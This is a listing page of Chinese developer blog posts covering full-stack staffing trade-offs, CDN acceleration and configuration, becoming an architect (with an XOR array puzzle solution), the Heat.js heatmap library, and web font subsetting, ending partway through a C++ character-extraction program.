在经济下行的大背景下,越来越多的中小型企业开始放弃“前后端分离”的人员配置,开始采用“全栈式开发”的模式来进行研发费用的节省。



这方法真那么好吗?


作为一名从“全栈开发”自我阉割成“前端开发”的逆行研发,我有很多话想说。


先从一个活生生的真实案例开始吧。


我认识一个非常优秀的全栈开发,因为名字最后一个字是阳,所以被大家称为“阳神”。


1. “阳神”的“神狗二相性”


阳神当然是牛逼的。


他不仅精通后端开发,更是对前端了解的非常深。这样来说吧:



当他作为后端开发时,他可以是那群后端同事里库表设计最清晰,代码最规范,效率最高的后端。




当他作为前端开发时,他除了比几位高级别前端稍逊一点外,效率和UI还原性都非常高,还会主动封装组件减少耦合。



但是非常奇怪的事情总是会发生,因为一旦阳神不是全职的“后端”或者“前端”时,一旦让他同时操刀“后端+前端”开发任务,作为一名“全栈”来进行业务推进时,他的表现会让人感到惊讶:



他会写出设计糟糕,不规范,职责混乱的代码。



这个现象我把他戏称为“阳神”的“神狗二相性”,作为单一职责时他是“阳神”,同时兼任多职时,他就有非常大的可能降格为“阳狗”。



为什么呢?这是阳神主观上让自己写更糟糕的代码吗?


不是的兄弟,不是的。


这是系统性的崩塌,几乎不以人的意志为转移。换我去也是一样,换你去也是一样。


2. 分工粗化必然导致技术细节的差异


从前,在软件开发的古老行会里,一个学徒需要花很多年才能出师,专门做一把椅子,或者专门雕一朵花。现在,你被要求从伐木到抛光,从结构力学到表面美学,全部一手包办。


生产力在发展,对人的技能要求也在发展。


因此“分工细化”成为了工业革命之后完全不可逆的趋势。


IT 产业上也是如此。


“软件开发”经过多年被细化出了前端开发后端开发客户端开发大数据开发 等等多种不同的细分职业。


但是现在有人想通过 粗化 职业分功来达到 “提效” 的目的,在我眼中这就是和客观规律对着干。


人的精力是守恒的。当你需要同时关心useEffect的依赖数组会不会导致无限渲染,和kubectl的配置能不能正确拉起Pod时,你的注意力就被稀释了。你不再有那种“针对一个领域,往深里钻,钻到冒油”的奢侈。


当你脑袋里冒出了一个关于前端工程化优化的问题时,身为全栈的你会本能地冒出另一个念头:



在整个全栈体系内,前端工程化优化是多么边角料且无关痛痒的问题啊,我去深入研究和解决它的性价比实在太低了,算了不想了。



如此一来,无论是后端的性能问题还是前端的性能问题都会变得无关紧要。




结果是,只有业务问题是全栈开发要关心的问题。



2. “岗位对立”与“自我妥协”


在日常开发中,前端开发和后端开发之间互相吐槽争论是再正常不过的话题,而且争论的核心非常简单易懂:



前端:这事儿不能在后端做吗?




后端:这事儿前端不能做吗?



可以的,兄弟,最后你会发现都是可以的,代码里大部分的事情无论是在浏览器端完成还是在服务器里完成都是可行的。


但是,总有一个“哪方更适合做”吧?



  • 一个大屏页面的几万几十万条的数据统计,是应该后端做还是前端做?

  • 业务数据到Echarts展示数据的格式转换应该后端做还是前端做?

  • 用户数据权限的过滤应该后端做还是前端做?

  • 一个列表到底要做真分页还是假分页?

  • 列表已经返回了全量实体信息,为什么还要再增加一个详情接口?


这都是日常开发时前端和后端都会去争论思考的问题,身处不同的职位,就会引入不同的立场和思考。



  • 前端需要去思考页面刷新后状态的留存,js单线程下大量数据处理的卡顿,页面dom树爆表的困境。

  • 后端也需要思考并发下服务器资源和内存的分配,可能的死锁问题,以及用户的无状态token如何处理等。


前后端的“争吵”和观点输出是不可避免的。


真理总是越辩越清晰的,后续讨论出的结果多半是最有利于当前现状的。


但如果“前后端”都是同一个人呢?


全栈模式,完美地消灭了这种“有益的摩擦”。当你自己和自己联调时,你不会给自己提挑战灵魂的问题。你不会问:“这个API设计是否RESTful?”因为你赶时间。你也不会纠结:“这个组件的可访问性够好吗?”因为你还得去部署服务器。



这两种思想在你的大脑里打架,最终往往不是最优解胜出,而是最省事的那个方案活了下来。



于是,你的代码里充满了“差不多就行”的妥协。这种妥协,一两个无所谓,当成百上千个“差不多”堆积起来时,质量的基础就酥了。


内部摩擦的消失,使得代码在诞生之初就缺少了一道质量校验的工序。它顺滑地流向生产环境,然后,在某个深夜,轰然引爆。


3. 工程的“不可能三角”


软件开发领域有一个著名的“不可能三角”:



快、好、省,你只能选两样。




全栈模式,在管理者眼中,完美地实现了“省”(一个人干两个人的活)和“快”(省去沟通成本)。那么,被牺牲掉的是谁?


雪崩时,没有一片雪花是无辜的。但更重要的是,当结构性雪崩发生时,问责任何一片雪花,都意义不大。


至于“快、好、省”这三兄弟怎么选?


那主要看老板的认知和他的钱包了。


作者:摸鱼的春哥
来源:juejin.cn/post/7555387521451606068
收起阅读 »

面试官:CDN是怎么加速网站访问的?

web
做前端项目的时候,经常听到"静态资源要放CDN"这种说法: CDN到底是什么,为什么能加速? 用户访问CDN的时候发生了什么? 前端项目怎么配置CDN? 先说结论 CDN(Content Delivery Network)的核心原理:把内容缓存到离用户最近...
继续阅读 »

做前端项目的时候,经常听到"静态资源要放CDN"这种说法:



  • CDN到底是什么,为什么能加速?

  • 用户访问CDN的时候发生了什么?

  • 前端项目怎么配置CDN?


先说结论


CDN(Content Delivery Network)的核心原理:把内容缓存到离用户最近的服务器上


没有CDN时,北京用户访问美国服务器,数据要跨越太平洋。有了CDN,数据从北京的CDN节点返回,快得多。


flowchart LR
subgraph 没有CDN
U1[北京用户] -->|跨越太平洋| S1[美国服务器]
end

subgraph 有CDN
U2[北京用户] -->|就近访问| C2[北京CDN节点]
C2 -.->|首次回源| S2[美国服务器]
end

CDN的工作流程


当用户访问一个CDN加速的资源时,会经过这几步:


1. DNS解析


用户访问 cdn.example.com,DNS会返回离用户最近的CDN节点IP。


# 在北京查询
$ dig cdn.example.com
;; ANSWER SECTION:
cdn.example.com. 60 IN A 101.37.27.xxx # 北京节点

# 在上海查询
$ dig cdn.example.com
;; ANSWER SECTION:
cdn.example.com. 60 IN A 47.100.99.xxx # 上海节点

同一个域名,不同地区解析出不同IP,这就是CDN的智能调度。


2. 缓存判断


请求到达CDN节点后,节点检查本地是否有缓存:



  • 缓存命中:直接返回,速度最快

  • 缓存未命中:向源服务器获取,然后缓存起来


flowchart TD
A[用户请求] --> B[CDN边缘节点]
B --> C{本地有缓存?}
C -->|有| D[直接返回]
C -->|没有| E[回源获取]
E --> F[源服务器]
F --> G[返回内容]
G --> H[缓存到边缘节点]
H --> D

classDef hit fill:#d4edda,stroke:#28a745,color:#155724
classDef miss fill:#fff3cd,stroke:#ffc107,color:#856404
class D hit
class E,F,G,H miss

3. 缓存策略


CDN根据HTTP头决定怎么缓存:


# 典型的静态资源响应头
Cache-Control: public, max-age=31536000
ETag: "abc123"
Last-Modified: Wed, 21 Oct 2024 07:28:00 GMT


  • max-age=31536000:缓存1年

  • public:允许CDN缓存

  • ETag:文件指纹,用于验证缓存是否过期


为什么CDN能加速


1. 物理距离更近


光在光纤中的传播速度约为 20 万公里/秒。北京到美国往返 2 万公里,光传输就要 100ms。


CDN把内容放到离用户近的地方,这个延迟几乎可以忽略。


2. 分散服务器压力


没有CDN,所有请求都打到源服务器。有了CDN,只有第一次请求(缓存未命中)才需要回源。


假设一张图片被访问 100 万次:



  • 没有CDN:源服务器处理 100 万次请求

  • 有CDN:源服务器只处理几十次(各节点首次回源)


3. 边缘节点优化


CDN服务商的边缘节点通常有这些优化:



  • 自动压缩:Gzip/Brotli压缩

  • 协议优化:HTTP/2、HTTP/3

  • 连接复用:Keep-Alive连接池

  • 智能路由:选择最优网络路径


前端项目配置CDN


1. 构建配置


以Vite为例,配置静态资源的CDN地址:


// vite.config.js
export default defineConfig({
base: process.env.NODE_ENV === 'production'
? 'https://cdn.example.com/'
: '/',
build: {
rollupOptions: {
output: {
// 文件名带hash,便于长期缓存
entryFileNames: 'js/[name].[hash].js',
chunkFileNames: 'js/[name].[hash].js',
assetFileNames: 'assets/[name].[hash].[ext]'
}
}
}
})

Webpack配置类似:


// webpack.config.js
module.exports = {
output: {
publicPath: process.env.NODE_ENV === 'production'
? 'https://cdn.example.com/'
: '/',
filename: 'js/[name].[contenthash].js',
}
}

2. 上传到CDN


构建完成后,把dist目录的文件上传到CDN。大多数CDN服务商都提供CLI工具或API:


# 阿里云OSS + CDN
aliyun oss cp -r ./dist oss://your-bucket/

# AWS S3 + CloudFront
aws s3 sync ./dist s3://your-bucket/

# 七牛云
qshell qupload2 --src-dir=./dist --bucket=your-bucket

3. 缓存策略配置


关键是区分两类文件:


带hash的静态资源(JS、CSS、图片):长期缓存


location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff2?)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}

HTML文件:不缓存或短期缓存


location ~* \.html$ {
expires 0;
add_header Cache-Control "no-cache, must-revalidate";
}

为什么这样设计?因为HTML是入口文件,它引用的JS/CSS带有hash。更新代码时:



  1. 新的JS文件会有新的hash(app.abc123.jsapp.def456.js

  2. HTML文件引用新的JS文件

  3. 用户获取新HTML后,会加载新的JS文件

  4. 旧的JS文件在CDN上继续存在,不影响正在访问的用户


4. DNS配置


把CDN域名配置成CNAME指向CDN服务商:


# 阿里云CDN
cdn.example.com. IN CNAME cdn.example.com.w.kunlunsl.com.

# Cloudflare
cdn.example.com. IN CNAME example.com.cdn.cloudflare.net.

常见问题


跨域问题


CDN域名和主域名不同,字体文件、AJAX请求可能遇到跨域。


解决方案是在CDN配置CORS头:


# CDN服务器配置
add_header Access-Control-Allow-Origin "https://example.com";
add_header Access-Control-Allow-Methods "GET, HEAD, OPTIONS";

或者在源服务器的响应里加上CORS头,CDN会透传。


缓存更新问题


发布新版本后,用户还是看到旧内容?


方案一:文件名带hash(推荐)


前面已经提到,文件名带hash,新版本就是新文件,不存在缓存问题。


方案二:主动刷新缓存


// 调用CDN服务商的刷新API
await cdnClient.refreshObjectCaches({
ObjectPath: 'https://cdn.example.com/app.js\nhttps://cdn.example.com/app.css',
ObjectType: 'File'
});

方案三:URL加版本号


<script src="https://cdn.example.com/app.js?v=1.2.3"></script>

不太推荐,因为有些CDN会忽略查询参数。


HTTPS证书


CDN域名也需要HTTPS证书。大多数CDN服务商提供免费证书或支持上传自有证书。


配置方式:



  1. 在CDN控制台申请免费证书(通常是DV证书)

  2. 或上传自己的证书(用Let's Encrypt申请)


# 用certbot申请泛域名证书
certbot certonly --manual --preferred-challenges dns \
-d "*.example.com" -d "example.com"

回源优化


如果源服务器压力大,可以启用"回源加速"或"中间源":


用户 → 边缘节点 → 中间源 → 源服务器

中间源作为二级缓存,减少对源服务器的请求。多数CDN服务商默认开启这个功能。


CDN选型


CDN服务商优势适用场景
阿里云CDN国内节点多,生态完整国内业务为主
腾讯云CDN游戏加速好,直播支持强游戏、直播
Cloudflare全球节点,有免费套餐出海业务、个人项目
AWS CloudFront与AWS生态集成已用AWS的项目
Vercel/Netlify前端项目一站式部署JAMStack项目

个人项目推荐Cloudflare,免费套餐够用,全球节点覆盖好。


企业项目根据用户分布选择。面向国内用户,阿里云/腾讯云更合适;面向全球用户,Cloudflare或CloudFront。


验证CDN效果


浏览器开发者工具


打开Network面板,关注这几个指标:



  • TTFB(Time To First Byte):首字节时间,越小越好

  • 响应头中的缓存信息X-Cache: HIT 表示命中CDN缓存


命令行测试


# 查看响应头
curl -I https://cdn.example.com/app.js

# 输出示例
HTTP/2 200
cache-control: public, max-age=31536000
x-cache: HIT from CN-Beijing

在线工具



小结


CDN加速的核心原理:



  1. 就近访问:DNS智能解析,把用户引导到最近的节点

  2. 缓存机制:边缘节点缓存内容,减少回源

  3. 协议优化:HTTP/2、压缩、连接复用


前端配置CDN的关键:



  1. 构建时配置publicPath:指向CDN域名

  2. 文件名带hash:便于长期缓存

  3. HTML不缓存:确保用户能获取到最新入口

  4. 处理跨域:配置CORS头




如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:


Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):



全栈项目(适合学习现代技术栈):



  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑

  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB


作者:也无风雨也雾晴
来源:juejin.cn/post/7582438310103613486
收起阅读 »

为什么大部分程序员成不了架构师?

很多程序员初学编程那会,几乎都有一个成为架构师的梦想。 ❝ 毕竟不想当架构师的程序员不是一个好程序员。 这里有几个架构师需要具备的能力模型: ❝ 技术深度和广度: 具备深厚的技术功底,同时对相关领域非常熟悉与了解。 经验积累: 具备在某一领域,有...
继续阅读 »

很多程序员初学编程那会,几乎都有一个成为架构师的梦想。




毕竟不想当架构师的程序员不是一个好程序员。



图片


这里有几个架构师需要具备的能力模型:




技术深度和广度:



  • 具备深厚的技术功底,同时对相关领域非常熟悉与了解。


经验积累:



  • 具备在某一领域,有非常丰富的行业经验

  • 具体涉及到系统设计、性能优化、风险管理等方面。


业务理解和沟通能力:



  • 需要理解业务需求,将业务目标转化为系统设计。

  • 需要与不同角色进行高效的沟通,包括与非技术人员的沟通。


领导和管理能力:



  • 在一些情况下,架构师可能需要领导团队、制定技术方向。


学习和适应能力:



  • 需要不断学习新的技术和趋势,并将其应用到实际项目中。



其实有些程序员可能更喜欢专注于编码本身。




对于涉及更广泛系统设计和管理方面的工作不感兴趣。


他们可能更倾向于深入技术领域而非走向管理和架构方向。



不过能成为架构师还有几个点很关键:




想成为架构师至少要有一个好平台,还要有毅力钻研技术并付诸实践。



  • 而且要经历各种各样的场景。


最好还要有一个好团队一起努力,毕竟一个人的精力是有限的。



不过并非每个程序员都适合成为架构师,不同人有不同的兴趣和职业目标。


有啥其他看法,欢迎在评论区留言讨论。




想看技术文章的,可以去我的个人网站:hardyfish.top/



  • 目前网站的内容足够应付基础面试(P6)了!



每日一题


题目描述




给你一个 非空 整数数组 nums ,除了某个元素只出现一次以外,其余每个元素均出现两次。


找出那个只出现了一次的元素。



示例 1 :


ini
体验AI代码助手
代码解读
复制代码
输入:nums = [2,2,1]
输出:1

示例 2 :


ini
体验AI代码助手
代码解读
复制代码
输入:nums = [4,1,2,1,2]
输出:4

示例 3 :


ini
体验AI代码助手
代码解读
复制代码
输入:nums = [1]
输出:1

解题思路




位运算


数组中的全部元素的异或运算结果即为数组中只出现一次的数字。



代码实现


Java代码:


Java
体验AI代码助手
代码解读
复制代码
class Solution {
    public int singleNumber(int[] nums) {
        int single = 0;
        for (int num : nums) {
            single ^= num;
        }
        return single;
    }
}

Python代码:


Python
体验AI代码助手
代码解读
复制代码
class Solution:
    def singleNumber(self, nums: List[int]) -> int:
        return reduce(lambda x, y: x ^ y, nums)

Go代码:


Go
体验AI代码助手
代码解读
复制代码
func singleNumber(nums []int) int {
    single := 0
    for _, num := range nums {
        single ^= num
    }
    return single
}

复杂度分析




时间复杂度:O(n),其中 n 是数组长度。



  • 只需要对数组遍历一次。


空间复杂度:O(1)


作者:程序员飞鱼
链接:https://juejin.cn/post/7459671967306940431
收起阅读 »

数据可视化神器Heat.js:让你的数据热起来

web
😱 我发现了一个「零依赖」的数据可视化宝藏! Hey,前端小伙伴们!今天必须给你们安利一个「让数据说话」的神器——Heat.js!这可不是一个普通的JavaScript库,而是一个能让你的数据「热」起来的魔法工具! 想象一下,当你有一堆枯燥的日期数据,想要以...
继续阅读 »

😱 我发现了一个「零依赖」的数据可视化宝藏!


Hey,前端小伙伴们!今天必须给你们安利一个「让数据说话」的神器——Heat.js!这可不是一个普通的JavaScript库,而是一个能让你的数据「热」起来的魔法工具!


image.png


想象一下,当你有一堆枯燥的日期数据,想要以直观、炫酷的方式展示出来时,Heat.js就像一个魔法师,「唰」的一下就能把它们变成色彩斑斓的热图、清晰明了的图表,甚至还有详细的统计分析!


🤩 这个库到底有什么「超能力」?


1. 「零依赖」轻量级选手,绝不拖你后腿 🦵


在这个「依赖地狱」的时代,Heat.js简直就是一股清流!它零依赖,体积小得惊人,加载速度快得飞起!再也不用担心引入一个库就拖慢整个页面加载速度了~


2. 「四种视图」任你选,总有一款适合你 🔄


Heat.js提供了四种不同的视图模式:



  • Map视图:就像GitHub贡献图一样炫酷,用颜色深浅展示日期活跃度

  • Chart视图:把数据变成专业的图表,让趋势一目了然

  • Days视图:专注于展示每一天的详细数据

  • Statistics视图:直接给你算出各种统计数据,懒人福音!


想换个姿势看数据?只需轻轻一点,瞬间切换~


3. 「51种语言」支持,真正的「世界公民」🌍


担心你的国际用户看不懂?不存在的!Heat.js支持51种语言,从中文、英文到阿拉伯语、冰岛语,应有尽有!你的应用可以轻松走向全球,再也不用为语言本地化发愁了~


4. 「数据导入导出」无所不能,数据来去自由 📤📥


想导出数据做进一步分析?没问题!Heat.js支持导出为CSV、JSON、XML、TXT、HTML、MD和TSV等多种格式,任你选择!


想导入已有数据快速生成热图?同样简单!支持从JSON、TXT、CSV和TSV导入,甚至还支持拖拽上传,简直不要太方便!


5. 「12种主题」随意切换,颜值与实用并存 💅


担心热图不好看?Heat.js提供了12种精心设计的主题,包括暗黑模式和明亮模式,让你的数据可视化既专业又美观!无论你的网站是什么风格,都能找到匹配的主题~


💡 这个神奇的库可以用来做什么?


1. 「活动追踪」,让你的用户活跃起来 📊


想展示用户的登录活跃度?想用热图展示文章的发布频率?Heat.js帮你轻松实现!就像GitHub的贡献图一样,让你的用户看到自己的「努力成果」,成就感满满!


2. 「数据分析」,让你的决策更明智 🧠


通过Heat.js的Statistics视图,你可以快速获取数据的各种统计信息,比如最活跃的月份、平均活动频率等。这些数据可以帮助你做出更明智的产品决策,优化用户体验!


3. 「趋势展示」,让你的报告更有说服力 📈


想在报告中展示某个指标的变化趋势?Heat.js的Chart视图可以将枯燥的数据变成直观的图表,让你的报告更有说服力,老板看了都说好!


🛠️ 如何用最简单的方式用上这个神器?


第一步:「把宝贝抱回家」📦


npm install jheat.js

或者直接使用CDN:


<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/williamtroup/Heat.js@4.5.1/dist/heat.js.min.css">
<script src="https://cdn.jsdelivr.net/gh/williamtroup/Heat.js@4.5.1/dist/heat.min.js"></script>

第二步:「给它找个家」🏠


<div id="heat-map" data-heat-js="{ 'views': { 'map': { 'showDayNames': true } } }">
<!-- 这里将显示你的热图 -->
</div>

第三步:「喂它数据」🍽️


// 添加日期数据
let newDateObject = new Date();
$heat.addDate("heat-map", newDateObject, "Trend Type 1", true);

// 移除日期数据(如果需要)
// $heat.removeDate("heat-map", newDateObject, "Trend Type 1", true);

三步搞定!就是这么简单!


🎯 为什么Heat.js值得你拥有?


1. 「简单易用」,小白也能轻松上手 👶


Heat.js的API设计非常友好,文档也很详细,即使是JavaScript初学者也能快速上手。几个简单的步骤,就能实现专业级的数据可视化效果!


2. 「高度定制」,满足你的各种需求 ⚙️


无论是颜色、样式,还是功能配置,Heat.js都提供了丰富的选项。你可以根据自己的需求,定制出独一无二的数据可视化效果!


3. 「响应式设计」,在任何设备上都完美展示 📱💻


Heat.js完全支持响应式设计,无论是在手机、平板还是电脑上,都能完美展示。你的数据可视化效果将在任何设备上都一样出色!


4. 「TypeScript支持」,框架党福利 🎉


如果你使用React、Angular等现代前端框架,Heat.js的TypeScript支持会让你用得更爽!类型定义清晰,代码提示完善,开发体验一流!


🚀 最后想说的话...


在这个「数据为王」的时代,如何让数据更直观、更有说服力,是每个开发者都需要面对的挑战。而Heat.js,就是帮助你征服这个挑战的绝佳工具!


它轻量级、零依赖、功能强大、易于使用,无论是个人项目还是企业应用,都能轻松胜任。最重要的是,它让数据可视化不再是一件复杂的事情,而是一种乐趣!


所以,还等什么呢?赶紧去GitHub上给Heat.js点个Star⭐,然后在你的项目中用起来吧!相信我,它一定会给你带来惊喜!


✨ 祝大家的数据可视化之路一帆风顺,让我们一起用Heat.js让数据「热」起来!✨


作者:Yanni4Night
来源:juejin.cn/post/7578161740467421235
收起阅读 »

解决网页前端中文字体包过大的几种方案

web
最近想给我的博客的网页换个字体,在修复了历史遗留的一些bug之后,去google fonts上找了自己喜欢的字体,本地测试和自己的设备发现没问题后,便以为OK了。但是当我接朋友的设备打开时,发现网页依然是默认字体。这时候我才发现,我的设备能够翻墙,所以能够使用...
继续阅读 »

最近想给我的博客的网页换个字体,在修复了历史遗留的一些bug之后,去google fonts上找了自己喜欢的字体,本地测试和自己的设备发现没问题后,便以为OK了。

但是当我接朋友的设备打开时,发现网页依然是默认字体。这时候我才发现,我的设备能够翻墙,所以能够使用Google CDN服务,但是对于我的其他读者们,在大陆内是访问不了Google的,便也无法渲染字体了。

于是为了解决这个问题,我尝试了各种办法比如格式压缩,子集化(Subset),分包等等,最后考虑到本站的实际情况选用了一种比较邪门的方法,让字体压缩率达到了惊人的98.5%!于是,这篇文章就是对这个过程的总结。也希望这篇文章能够帮助到你。😊


想要自定义网站的字体,最重要的其实就是字体包的获取。大体上可以分为两种办法:在线获取网站本地部署

在线获取──利用 CDN 加速服务

CDN(Content Delivery Network) 意为内容配送网络。你可以简单理解为是一种“就近给你东西”的互联网加速服务。

传统不使用 CDN 服务的是这样的: User ←→ Server,如果相聚遥远,效果显然很差。

使用了 CDN 服务是这样的: User ←→ CDN Nodes ←→ Server,CDN 会提前把你的网站静态资源缓存到各个节点,但你需要时可以直接从最近的节点获取。

全球有多家CDN服务提供商,Google Fonts使用的CDN服务速度很快。所以如果在网络畅通的情况下,使用Google Fonts API是最简单省事的!

你可以直接在文件中导入Google fonts API:

@import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Merriweather:ital,opsz,wght@0,18..144,733;1,18..144,733&family=Noto+Serif+SC:wght@500&display=swap');

这样网站它便会自动向最近的Google CDN节点请求资源。

当然,这些都是建立在网络状态畅通无阻的情况下。大陆用户一般使用不了Google服务,但并不意味着无法使用CDN服务。国内的腾讯云,阿里云同样提供高效的服务,但具体的规则我并不了解,请自行阅读研究。

本地部署

既然用不了在线的,那就只能将字体包文件一并上传到服务器上了。

这种做法不需要依赖外部服务,但缺点是字体包的文件往往很大,从进入网站到彻底加载完成的时间会及其漫长!而且这种问题尤其在中日韩(CJK)字体上体现的十分明显。

以本站为例,我主要采用了三种字体:Merriweather, Inter, Noto Serif SC. 其中每种字体都包含了Bold和Regular两种格式。前面两种都属于西文字体,每种格式原始文件大小都在200kb-300kb,但是到了思源宋体这里,仅仅一种格式的字体包大小就达到了足足14M多。如果全部加载完,恐怕从进入网站到完全渲染成功,需要耽误个2分钟。所以将原始字体包文件上传是极不可取的做法!

为了解决这个问题,我在网上查阅资料,找到了三种做法。

字体格式转换(WOFF2)

WOFF2 (Web Open Font Format 2.0) 是一种专为 Web 设计的字体文件格式,旨在提供更高的压缩率和更快的加载速度,也是是目前在 Web 上部署自定义字体的推荐标准。它本质上是一种将 TTF 或 OTF 字体数据进行高度压缩后的格式,目前已经获得了所有主流浏览器的广泛支持。

我们可以找一个在线的字体格式转化网站来实现格式的转化。本文我们以NotoSerifSC-Bold.ttf为例,转换后的NotoSerifSC-Bold.woff2文件只有5.8M左右,压缩率达到了60%!

但是,这仍旧是不够的,仅两个中文字体包加起来也已经快12M,还没有算上其他字体。这对于一个网页来说依然是灾难性的。我们必须寻找另一种方法。

子集化处理(Subset)

中国人都知道,虽然中文的字符加起来有2万多个,但是我们平常交流基本只会用到3000多个,范围再大一点,6000多个字符已经可以覆盖99%的使用场景。这意味着:

我们根本不需要保留所有字符,而只需要保留常用的几千个汉字即可。

于是这就给了我们解决问题的思路了。

首先我们可以去寻找中文常用汉字字符表,这里我获取的资源是 All-Chinese-Character-Set。我们将文件下载解压后,可以在里面找到各种各样按照字频统计的官方文件。这里我们就以《通用规范汉字表》(2013年)一级字和二级字为例。我们创建一个文档char_set.txt并将一级字和二级字的内容全部复制进去。这份文档就是我们子集化的对照表。

接着我们需要下载一个字体子集化工具,这里使用的是Python中的fonttools库,它提供了许多工具(比如我们需要的pyftsubset)可以在命令行中执行子集化、字体转化字体操作。

我们安装一下这个库和对应的依赖(在这之前确保你的电脑上安装了Pythonpip,后者一般官方安装会自带)

pip install fonttools brotli zopfli

然后找到我们字体包对应的文件夹,将原来的char_set.txt复制到该文件夹内,在该文件下打开终端,然后以NotoSerifSC-Bold.ttf为例,输入以下命令:

pyftsubset NotoSerifSC-Bold.ttf --output-file=NotoSerifSC-Bold.subset.woff2 --flavor=woff2 --text-file=char_set.txt --no-hinting --with-zopfli

过一会就能看到会输出一个NotoSerifSC-Bold.subset.woff2的文件。

font-pic-1.png 我们欣喜的发现这个文件的大小竟然只有980KB。至此,我们已经已经将压缩率达到了93%!到这一步,其实直接部署也并没有十分大问题,不过从加载进去到完全渲染,可能依然需要近十秒左右,我们依然还有优化空间。

分包处理实现动态加载

这个方法是我阅读这篇文章了解到的,但是遗憾的是我并没有在自己的网站上实现,不过失败的尝试也让我去寻找其它的方法,最终找到适用本站的一种极限字体渲染的方法,比这三种的效果还要好。下面我依然简单介绍一下这个方法的原理,想更了解可以通过看到最后通过参考资料去进一步了解。

在2017年,Google Fonts团队提出切片字体,因为他们发现:绝大部分网站只需要加载CJK字体包的小部分内容即可覆盖大部分场景。基于适用频率统计,他们将字符分成多个切片,再按 Unicode 编码对剩余字符进行分类。

怎么理解呢?他其实就是把所有的字符分成许多个小集合,每个集合里面都包含一定数量的字符,在靠前的一些集合中,都是我们常用的汉字,越到后,字形越复杂,使用频率也越低。当网页需要加载字体文件时,它是以切片为单位加载的。这意味,只有当你需要用到某个片区的字符时,这个片区才会被加载。

这种方式的好处时,能够大大加快网站加载速率。我们不用每次都一次性把全部字符加载,而是按需加载。这项技术如今已经被Noto Sans字体全面采用。

但是我们需要本地部署的话,需要多费一点功夫。这里我们利用中文网字计划的在线分包网站来实现。

我们将需要的字体上传进行分包,可以观察到输出结果是一系列以哈希值命名的woff2文件。分包其实就是做切分,把每个切分后的区域都转化为一份体积极小的woff2文件。

font-pic-2.png 下载压缩包,然后可以将里面的文件夹导入你的项目,并引用文件夹下的result.css即可。理论上,当网站需要加载渲染某个字体时,它会根据css里面的规则去寻找到对应的分包再下载。每个包的体积极小,网站加载的速度应该提升的很明显。

font-pic-3.png

我的实践──将字符压缩到极限

我的方法可以理解为子集化的一种,只不过我的做法更加的极端一些──只保留文章出现的字符

根据统计结果,截止到这篇post发布,我的文章总共出现的所有字符数不到1200个(数据来源见下文),所以我们可以做的更激进一些,只需将文章出现的中文字符全部记录下来,制成一张专属于自己网站的字符表,然后在每次发布文章时动态更新,这样我们能够保证字体完整渲染,并且处于边界极限状态!

实现这个个性化字符表char_set.txt的核心是一个提取文章中文字符的算法。这部分我是通过Gemini生成了一个update_lists.cpp文件,他能够识别_posts/下面所有文章,并输出到根目录的char_set.txt中,你可以根据代码内容进行自定义的修改:

/**
* @file update_lists.cpp
* @brief Scans Markdown files in /_posts/ and updates char_set.txt in root.
* @author Gemini
* @date 2025-11-28
*/

#include
#include
#include
#include
#include
#include
namespace fs = std::filesystem;
namespace char_collector {
const std::string kRegistryFilename = "char_set.txt";
const std::string kMarkdownExt = ".md";

const uint32_t kCJKStart = 0x4E00;
const uint32_t kCJKEnd = 0x9FFF;

bool NextUtf8Char(std::string::const_iterator& it,
const std::string::const_iterator& end,
uint32_t& out_codepoint,
std::string& out_bytes)
{
if (it == end) return false;
unsigned char c1 = static_cast<unsigned char>(*it);
out_bytes.clear();
out_bytes += c1;
if (c1 < 0x80) { out_codepoint = c1; it++; return true; }
if ((c1 & 0xE0) == 0xC0) {
if (std::distance(it, end) < 2) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
out_codepoint = ((c1 & 0x1F) << 6) | (c2 & 0x3F);
out_bytes += *(it + 1); it += 2; return true;
}
if ((c1 & 0xF0) == 0xE0) {
if (std::distance(it, end) < 3) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
unsigned char c3 = static_cast<unsigned char>(*(it + 2));
out_codepoint = ((c1 & 0x0F) << 12) | ((c2 & 0x3F) << 6) | (c3 & 0x3F);
out_bytes += *(it + 1); out_bytes += *(it + 2); it += 3; return true;
}
if ((c1 & 0xF8) == 0xF0) {
if (std::distance(it, end) < 4) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
unsigned char c3 = static_cast<unsigned char>(*(it + 2));
unsigned char c4 = static_cast<unsigned char>(*(it + 3));
out_codepoint = ((c1 & 0x07) << 18) | ((c2 & 0x3F) << 12) |
((c3 & 0x3F) << 6) | (c4 & 0x3F);
out_bytes += *(it + 1); out_bytes += *(it + 2); out_bytes += *(it + 3); it += 4; return true;
}
it++; return false;
}

bool IsChineseChar(uint32_t codepoint) {
return (codepoint >= kCJKStart && codepoint <= kCJKEnd);
}

class CharManager {
public:
CharManager() = default;

void LoadExistingChars(const std::string& filepath) {
std::ifstream infile(filepath);
if (!infile.is_open()) {

std::cout << "Info: " << filepath << " not found or empty. Starting fresh." << std::endl;
return;
}
std::string line;
while (std::getline(infile, line)) {
ProcessString(line, false);
}
std::cout << "Loaded " << existing_chars_.size()
<< " unique characters from " << filepath << "." << std::endl;
}

void ScanDirectory(const std::string& directory_path) {

if (!fs::exists(directory_path)) {
std::cerr << "Error: Directory '" << directory_path << "' does not exist." << std::endl;
return;
}

for (const auto& entry : fs::directory_iterator(directory_path)) {
if (entry.is_regular_file() &&
entry.path().extension() == kMarkdownExt) {
ProcessFile(entry.path().string());
}
}
}

void SaveNewChars(const std::string& filepath) {
if (new_chars_list_.empty()) {
std::cout << "No new Chinese characters found." << std::endl;
return;
}
std::ofstream outfile(filepath, std::ios::app);
if (!outfile.is_open()) {
std::cerr << "Error: Could not open " << filepath << " for writing." << std::endl;
return;
}
for (const auto& ch : new_chars_list_) {
outfile << ch;
}
std::cout << "Successfully added " << new_chars_list_.size()
<< " new characters to " << filepath << std::endl;
}

private:
std::unordered_set existing_chars_;
